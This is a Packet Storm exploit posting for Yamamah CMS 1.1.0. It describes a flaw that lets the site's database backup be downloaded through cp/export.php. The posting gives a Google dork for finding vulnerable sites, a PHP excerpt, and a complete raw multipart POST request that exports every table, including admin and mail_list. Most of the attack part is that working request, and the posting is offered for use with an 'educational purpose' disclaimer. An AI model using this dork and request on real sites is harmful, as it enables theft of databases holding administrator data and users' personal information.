what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Yamamah 1.1.0 Database Disclosure

Yamamah 1.1.0 Database Disclosure
Posted May 28, 2012
Authored by L3b-r1'z

Yamamah version 1.1.0 suffers from a database backup download vulnerability.

tags | exploit, info disclosure
SHA-256 | 9ba02db21a83e5a8efab01c2d4243ac6d3bea9948f0e4020890e7d14d7469e10

Yamamah 1.1.0 Database Disclosure

Change Mirror Download
# --------------------------------------- #
Author : L3b-r1'z
Title : Yamamah Database backup Download
Date : 5/27/2012
Email : L3br1z@Gmail.com
Site : Sec4Ever.com & Exploit4arab.com
Google Dork : allintext: "Copyright © 2010 All rights reserved.
Powered By : Yamamah Version 1.1.0"
Version : 1.1.0
# --------------------------------------- #
This PoC was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.
# --------------------------------------- #
1) Bug
2) PoC
# --------------------------------------- #
2) Bug :
File Named Export In Cp Folder :

$tables = $_POST['check'];
$outta = "";
$outta .="-- --------------------------------------------------------\r\n";
$outta .="-- Yamamah.org\r\n";
$outta .="-- Version 1.1.0\r\n";
$outta .="-- http://www.yamamah.org\r\n";
$outta .="-- \r\n";
$outta .="-- Host: " . $_SERVER['HTTP_HOST'] . "\r\n";
$outta .="-- Generation Time: " . $generation_date . " at " .
strftime('%I:%M:%S %p') . "\r\n";
$outta .="-- Server version: " . mysql_get_server_info() . "\r\n";
$outta .="-- PHP Version: " . phpversion() . "\r\n";
$outta .="-- \r\n";
$outta .="-- Database: `".DB_NAME_."`\r\n";
$outta .="-- \r\n";
$outta .="-- --------------------------------------------------------\r\n";
$outta .="\r\n";
An Attacker Can Download the Database via POST From Live Http Header

# --------------------------------------- #
3) PoC :
In POST b0x Put :http://www.site.com/yamamah/cp/export.php

---

Host: site.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.site.com/yamamah/cp/index.php?part=backup&action=showtables
Cookie: PHPSESSID=your SESSID
Content-Type: multipart/form-data;
boundary=---------------------------6224110085844
Content-Length: 1727

---

-----------------------------6224110085844\r\n
Content-Disposition: form-data; name="check_all"\r\n
\r\n
on\r\n
-----------------------------6224110085844\r\n
Content-Disposition: form-data; name="check[]"\r\n
\r\n
acceptable_extensions\r\n
-----------------------------6224110085844\r\n
Content-Disposition: form-data; name="check[]"\r\n
\r\n
admin\r\n
-----------------------------6224110085844\r\n
Content-Disposition: form-data; name="check[]"\r\n
\r\n
admins_permission\r\n
-----------------------------6224110085844\r\n
Content-Disposition: form-data; name="check[]"\r\n
\r\n
categories\r\n
-----------------------------6224110085844\r\n
Content-Disposition: form-data; name="check[]"\r\n
\r\n
comments\r\n
-----------------------------6224110085844\r\n
Content-Disposition: form-data; name="check[]"\r\n
\r\n
contact_mail\r\n
-----------------------------6224110085844\r\n
Content-Disposition: form-data; name="check[]"\r\n
\r\n
images\r\n
-----------------------------6224110085844\r\n
Content-Disposition: form-data; name="check[]"\r\n
\r\n
mail_list\r\n
-----------------------------6224110085844\r\n
Content-Disposition: form-data; name="check[]"\r\n
\r\n
mail_message\r\n
-----------------------------6224110085844\r\n
Content-Disposition: form-data; name="check[]"\r\n
\r\n
news\r\n
-----------------------------6224110085844\r\n
Content-Disposition: form-data; name="check[]"\r\n
\r\n
options\r\n
-----------------------------6224110085844\r\n
Content-Disposition: form-data; name="check[]"\r\n
\r\n
pages\r\n
-----------------------------6224110085844\r\n
Content-Disposition: form-data; name="check[]"\r\n
\r\n
sections\r\n
-----------------------------6224110085844\r\n
Content-Disposition: form-data; name="check[]"\r\n
\r\n
sys_name\r\n
-----------------------------6224110085844\r\n
Content-Disposition: form-data; name="submit"\r\n
\r\n
تحÙ\x85Ù\x8aÙ\x84\r\n
-----------------------------6224110085844--\r\n

SniP :
http://www11.0zz0.com/2012/05/28/00/933943219.png

# --------------------------------------- #
Thx To : I-Hmx , B0X , Hacker-1420 , Damane2011 , Sec4ever , The
Injector , Over-X , Ked-Ans , N4SS1M , B07 M4ST3R.
# --------------------------------------- #
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    69 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close